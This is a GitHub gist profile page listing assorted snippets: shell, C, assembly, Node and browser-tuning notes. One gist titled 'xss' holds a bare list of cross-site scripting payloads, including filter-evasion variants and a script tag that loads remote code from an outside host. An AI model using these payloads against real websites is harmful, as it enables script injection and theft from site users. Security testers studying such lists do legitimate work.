Skip to content

Instantly share code, notes, and snippets.

View dlion's full-sized avatar
🦁
If you can dream it, you can do it ~

Domenico Luciani dlion

🦁
If you can dream it, you can do it ~
View GitHub Profile
@dlion
dlion / wget_thread.sh
Created January 20, 2013 02:51
Allows to download a file with wget using multi-threading.
function wget_thread()
{
for i in {1..4}; do
wget -rnp -c -N $1 &
done
}
@dlion
dlion / disable-gpu-mac.md
Created November 16, 2021 14:08 — forked from marpontes/disable-gpu-mac.md
Pass --disable-gpu down to Electron apps on mac (Slack, Whatsapp, Trello, ...)

On my Macbook Pro (OS X El Capitan) I was having issues on Electron based apps. These apps had visual issues/glitches like blank screens, visual components showing only when hovering or transparent menus.

By opening with these comands, the problems disappeared.

open /Applications/Slack.app/ --args --disable-gpu
open /Applications/Trello.app/ --args --disable-gpu
open /Applications/Whatsapp.app/ --args --disable-gpu
@dlion
dlion / info_joystick.cpp
Created February 24, 2013 15:41
Retrieve Joystick Information using plib libraries
#include <plib/js.h>
int main()
{
jsJoystick *js[1];
float *assi[1];
int j;
jsInit();

Keybase proof

I hereby claim:

  • I am dlion on github.
  • I am dlion (https://keybase.io/dlion) on keybase.
  • I have a public key ASCJ3D7kjvpd1Fgc6mAA6wqQHkopSPEKGwSLcrLaAY3sgQo

To claim this, I am signing this object:

@dlion
dlion / BlinkLed.c
Last active May 23, 2017 08:41
A simple source to blink 2 LED when push button is pressed. You can compile it with: gcc BlinkLed.c -o BlinkLed -lwiringPi and you can run it with: sudo ./BlinkLed
/*
Blink 2 Led with push button
By Domenico Luciani aka DLion
http://dlion.it
*/
//Using wiringPi library
#include <wiringPi.h>
#include <stdio.h>
#include <stdlib.h>
@dlion
dlion / xss
Created August 25, 2016 23:09
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
@dlion
dlion / improve.md
Created January 16, 2016 16:50
Improve firefox speed

First of all: about:config

  • network.http.pipelining = true
  • network.http.pipelining.maxrequests = 8
  • new -> integer -> nglayout.initialpaint.delay = 100
  • content.notify.ontimer = true
  • content.notify.interval = 100000
@dlion
dlion / app.js
Created November 14, 2013 01:01 — forked from dbainbridge/app.js
/**
* Module dependencies.
*/
var express = require('express')
, routes = require('./routes')
, http = require('http');
var app = express();
var server = app.listen(3000);
; Data una matrice quadrata di interi a 16bit, stampi a video "Vero" se la somma degli elementi della diagonale principale di M coincide con
; la somma degli elementi della diagonale secondaria e stampi "Falso" altrimenti.
section .data
M dw 7,15,3,10,4,2,1,11,7,2,0,56,1,21,4,5
dim equ $-M
N equ 4
V db "Vero", 10
dim_V equ $-V
F db "Falso", 10
dim_F equ $-F
/*
* Domenico Luciani
* domenicoleoneluciani@gmail.com
* Olimex Weekend Challenge #21 Words Puzzle
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>